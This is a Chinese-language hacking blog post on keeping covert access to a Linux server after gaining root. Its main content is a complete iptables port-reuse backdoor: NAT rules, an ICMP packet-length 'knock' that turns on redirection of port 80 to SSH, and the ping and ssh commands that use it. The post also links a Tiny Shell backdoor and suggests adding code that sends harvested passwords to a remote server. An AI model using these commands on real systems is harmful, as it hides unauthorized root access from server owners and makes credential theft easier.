作者:1e0n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 前言
上回书说到,在获取到Linux服务器root权限的情况下,如何获取明文密码并维持权限。这次来说一下iptables端口复用后门及其他利用。话不多说,直接开始。
iptables端口复用后门
tiny shell后门
其他可利用的点
0x01 iptables端口复用后门
1.1 实现原理
首先是要用到iptables防火墙,创建iptables规则,并使用ICMP包来触发该规则, 从而实现端口复用[http等],最主要还是利用iptables的nat功能。
1.2 利用步骤
第一种方法
首先创建端口复用链
iptables -t nat -N LETMEIN
创建端口复用规则,将TCP流量转发至22端口:
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
开启开关,如果接收到一个长为1139的ICMP包,则将来源IP添加到加为letmein的列表中:
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
关闭开关,如果接收到一个长为1140的ICMP包,则将来源IP从letmein列表中去掉:
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
如果发现SYN包的来源IP处于letmein列表中,将跳转到LETMEIN链进行处理,有效时间为3600秒:
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
开启复用:
ping -c 1 -s 1111 目标IP
关闭复用:
ping -c 1 -s 1112 目标IP
开启规则后连接:
ssh root@目标IP -p 80
第二种方法
创建防火墙规则,将来自于192.168.1.11端口为80的TCP流量转发到22端口,从而绕过22不对外开的情况 :
iptables -t nat -A PREROUTING -p tcp -s 192.168.1.11 --dport 80 -j REDIRECT --to-port 22
这种情况会使192.168.1.11无法访问目标80端口服务。
连接目标 :
ssh root@目标IP -p 80
0x02 Tiny shell后门
Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小。
下载地址:https://github.com/orangetw/tsh
方法介绍:https://www.sohu.com/a/153754894_354899
具体的使用可以看方法介绍。
0x03 其他可利用的点
- 1、在以上多种后门中方法中,可以添加部分代码,将收集到的密码发送到远端服务器,实时同步。
- 2、在ssh不开或者对外内开的时候,应该可以使用iptables规则端口复用,实现ssh登录。
- 3、iptables规则可以使用TCP方式,对内网的机器进行连接,时间不够未列出方法。
0x04 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!